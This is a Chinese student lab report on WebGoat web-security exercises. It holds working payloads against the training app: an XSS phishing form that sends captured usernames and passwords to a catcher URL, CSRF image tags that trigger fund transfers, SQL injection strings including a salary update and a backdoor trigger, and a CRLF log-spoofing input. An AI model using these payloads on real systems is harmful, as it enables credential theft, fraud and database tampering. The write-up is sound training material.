20145237 Exp9 Web安全基础实践
基础问题回答
SQL注入攻击原理,如何防御:
部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;
XSS攻击的原理,如何防御:
XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
程序员应该防止下发界面显示html标签,把</>等符号转义。
CSRF攻击原理,如何防御:
即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。
一、打开webgoat
(1)输入指令
java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
来运行webgoat。
(2)在浏览器输入
localhost:8080/WebGoat
,进入webgoat
二、XSS攻击
- (1)Phishing with XSS
在webgoat找到xss攻击打开Phishing with XSS(第一个),在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,完整的XSS攻击代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- (2)点击搜索后会出现登录界面,输入你的用户名和密码,WebGoat会将你输入的信息捕获并反馈给你。
三、Stored XSS Attacks
(1)创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,随意在标题栏输入点东西,然后在message中输入一串代码。
(2)提交后,提示成功。
四、Reflected XSS Attacks
(1)反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面。
(2)输入错误用户信息后,服务器校验输入有误。
(3)这时如果我们将带有攻击性的URL作为输入源,例如依旧输入
<script>alert("20145237 attack succeed!");</script>
五、Cross Site Request Forgery(CSRF)
- (1)写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
- (2)输入
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
六、CSRF Prompt By-Pass
- (1)这个跟之前的类似,首先输入
<img src="http://localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=500" width="1" height="1">
- (2)在浏览器中输入URL:
localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=CONFIRM
七、Command Injection
(1)点击右上角瓢虫图标对源码进行修改,修改后可看到我们修改的内容。
(2)点击view,出现网络连接情况。
八、Numeric SQL Injection
(1)通过注入SQL字符串的方式查看所有的天气数据,在101旁边加上or 1=1:
(2)选择Columbia,单击Go,可以看到所有天气数据:
九、String SQL Injection
- (1)构造SQL注入字符串,在文本框中输入
' or 1=1 --
,点击GO,可以查看到所以信息:
十、Log Spoofing
- (1)我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为admin的用户在日志中显示“成功登录”,在User Name文本框中输入
20145237%0d%0aLogin Succeeded for username: admin
十一、.Database Backdoors
(1)首先输入
101
,得到了该用户信息
(2)输入注入语句:
101; update employee set salary=88888
,把该用户的工资调到了88888,进行SQL注入。
(3)使用SQL语句在myBackDoor表中添加新用户,我们可以将在用户表里将新用户的邮箱改为题目固定的邮箱。插入两个SQL语句即可:
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='5237@dky.com'WHERE userid = NEW.userid;
实验体会
这次实验是我们的最后一次实验,这次实验每一个做起来都不难,主要是让我们在理论的基础上学习各类攻击手段,就是要做很多东西。。。。而且安装和调试环境需要费一番功夫的。
20145237 Exp9 Web安全基础实践的更多相关文章
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 20155204《网络对抗》Exp9 Web安全基础实践
20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...
- 20155210 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155216 Exp9 Web安全基础实践
Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...
- 20155220 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
随机推荐
- LINUX_RHEl6_DHCP服务器配置
安装DHCP服务器 DHCP配置文件 可以使用RHEL 6.0自身携带的RPM包安装,安装结束后DHCP端口监督程序dhcpd配置文件是/etc/dhcp目录中的名为dhcpd.conf的文件.下面手 ...
- Horizon代码的层次结构
Horizon中包含多个dashboard,每个dashboard又包含多个panel,每个panel有可以包含多个Tab.
- HTTP从入门到入土(3)——TCP三次握手
TCP三次握手 客户端与服务器之间互相发送HTTP请求响应之前需要先进行TCP连接,因为HTTP是一个无连接.无状态协议,不存在连接的概念,只有请求和响应的概念.而请求和响应实际上只是数据包,他们需要 ...
- 前端学习笔记之CSS属性设置
CSS属性设置 阅读目录 一 字体属性 二 文本属性 三 背景属性 四 盒子模型 五 盒子模型各部分详解 一 字体属性 1.font-weight:文字粗细 取值 描述 normal 默认值,标准 ...
- linux及安全第四周总结——20135227黄晓妍
总结部分: 用户态和内核态: 前提知识:cpu有几种不同指令执行的级别 用户态:代码的掌控范围受限制 内核态:高级别,代码课执行特权指令,访问任意物理地址. 权限设置的意义:没有的话,系统容易啊崩溃, ...
- 关于Cooperation.GTST
Cooperation.GTST团队项目简介 我们打算利用Android Studio开发一款博客园的Android APP,初步设想能够实现在Android手机平台使用博客园的相关功能,后续想法会在 ...
- Dekker算法在多核处理器下的失效
Dekker algorithm是一种著名的并发编程的算法,Dekker算法的核心部分是一组对称的代码来访问一组共享变量,使得两个线程不可能同时进入临界区(只要cpu内存模型是遵循顺序一致性的),从而 ...
- vue中实现中,自动补全功能
知识点:利用vue的基本语法实现,自动补全功能 参考博客:https://www.jb51.net/article/136282.htm 效果:在文本框中,输入相关名称,调用后台接口,将数据填充到下拉 ...
- Coursera SDN M1.1 SDN History: Central Control
source Structure 1.讨论SDN的时间线,从1980s至今. 2.认识到SDN背后的原则和idea. 3.识别SDN起源的架构主题. NOTE Four Chapter in SDN ...
- idea tomcat启动乱码问题
配置idea的安装文件的编码: JetBrains\IntelliJ IDEA 2016.3\bin中配置文件idea.exe.vmoptions.idea64.exe.vmoptions 添加 -D ...